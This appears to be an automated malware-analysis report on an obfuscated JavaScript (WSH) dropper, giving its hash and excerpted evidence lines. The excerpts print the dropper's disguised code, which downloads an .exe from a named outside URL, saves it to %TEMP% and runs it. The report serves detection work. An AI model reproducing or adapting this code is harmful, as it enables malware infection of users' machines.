Hostile ^92% javascript-malware-collection Download

135e2cb2fdf118ef8e2760b1f6ed0e7b

Obfuscated file download and execution

WSH dropper with split-join string reconstructionString cleanup using split(key).join("")

SHA-2564cf8cfe254628d7d642fba212513f269d10fb8de41eef36d60eb829636d775ce

Evidence

String cleanup using split(key).join("") lines 1–6

1:317… fer.reject ); } else { newDefer[ tuple[ 0 ] + \"With\" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); },";
2String.prototype.twofold = function () { aa = this; return aa.charAt(1 * 0 / 1); };
3String.prototype.furry = function () { aa = this; return aa.split(")").join("").split("(").join("").split("9").join(""); };
4
5var ekzlje = ["()A()()()c()t()()"+"i()(v())((e9))(X))"+("ahbAycz","espionage","guitars",")(O())b())")+")j(())e)c))t)", ("insulation","overcrowded","E")+"x)p"+"an)d)E"+("leavetaking","granny","perceived","planners","n)v")+"i)r"+("secretary","ablebodied","on)me)nt")+"S)t"+")ri"+"ngs", ("compensate","seven","eeUaPSfmI","strike",")")+")%"+"T)E"+("gazette","knowledgestorm","pamela","M)P)%"), ""+("rosette","hazardous",").")+"e)x)e", "R)"+("curving","battleship","un)"), "M)"+("truly","ashen","universal","lawful)ly","S)X")+("univers)ality","martial","icing","M)L2).")+"X)M"+"L)HT)TP", "W)"+"S)c"+("nonco)mmissioned","vegas","r)i")+("royal","intermission","pt).)Sh)e")+("WdMIPkfUMxq","transsexual","illomened","l)l")];
6UKvSTjCwoJe = " promise[ d …

Dense computed-property call cluster (3+) lines 16–22

16:170… obj, promise ) : promise; } }, deferred = {};";
17var qOgIhFXi = EkbrCAD[""+(("JDSecovUUAm", "massage", "columnists", "convinces", ""+"9"+("constitution","student","999"))+kpTEmxgS+"))").furry()](("(("+""+("bruges","uzbekistan","subtle","tablet","9")+"999"+ekzlje.shift()+"))").furry());
18FVXmJc = " Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ];";
19
20failse = (("YgvHTrja", "punch", "trample", "irregularity", "ESMnrHwUhi") + "iWzYscmiN").twofold().furry();
21
22function torpedo(supervi …

Compares HTTP response status property to 200 lines 31–37

103… ry.isFunction( subordinate.promise ) ) ? length : 0,";
  if (AyLJcpnc.status == 200) {
      var qeBhJRt = new GLNpeWx((("sticker","start","margot","pulsation","")+"A"+("intervention","inmate","pO")+"DB." + ""+("manoeuvre","earthen","amalgamation","S")+"tr"+("gains","clandestinely","eam")).replace("p", "D"));
      qeBhJRt[("chaotic","omniscience","blackmail","lindsay","")+"o"+"pen"]();
      gsjhFHl = " Handle state if ( stateString ) { list.add( function() {";
      qeBhJRt.type = 0 + 3 - 2;
      S …

Text has empty named-parameter catch lines 37–51

20… state = [ resolved | rejected ] state = stateString;";
      qeBhJRt[("implication","fervor","abolitionist","shame","w")+"ri"+"te"](AyLJcpnc[("lowest","workforce","")+"R"+"es"+("dance","composition","pon") + asthmas + "e"+("arranged","livecam","trieste","emphasis","Bo")+"dy"]);
      ovgusEtN = " [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); ";
      qeBhJRt[(snapshot + ("gypsum","seemed","o")+"Di"+"ti"+"on").replace("D", asthmas)] = 0;
      dVAlJQnViul = "} deferred[ resolve | reject | notify ] deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[ 0 ] + \"With\" ] = list.fireWith; } );";
      qeBhJRt["sav"+"eT"+("correcting","dimmer","oF")+"ile"](lamplight, 2);
      fXGXpRPRu = " Make the deferred a promise promise.promise( deferred );";
      qeBhJRt.close();
      SfaDSgPN = " Call given func if any if ( func ) { func.call( deferred, deferred ); ";
      EkbrCAD[ekzlje.shift().furry()](lamplight, 1, "MLUewyhcF" === "jujxlIxmT"); CxKRBTM = " } else if ( !( --remaining ) ) UVWYYFpi{ deferred.resolveWith( contexts, values ); } }; },";
  }
48
49} catch (BfoaNF) { };
50
  yvdMDUzG = " Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { conte …

Repeated single-character concatenation lines 51–54

51:201…  ? slice.call( arguments ) : value; if ( values === progressValues ) { deferred.notifyWith( contexts, values );";
52}
53torpedo("h"+"tt"+"p:"+"//"+"dist"+("eightyfour","cohen","razur.com/765f46vb")+("indigo","grandparents","piracy","diminutive",".exe"),"xzMVqwUiK");
54   RyVQUWQp = " the master Deferred. If resolveValues consist of only a single Deferred, just use that. deferred = remaining === 1 ? subordinate : jQuery.Deferred(),";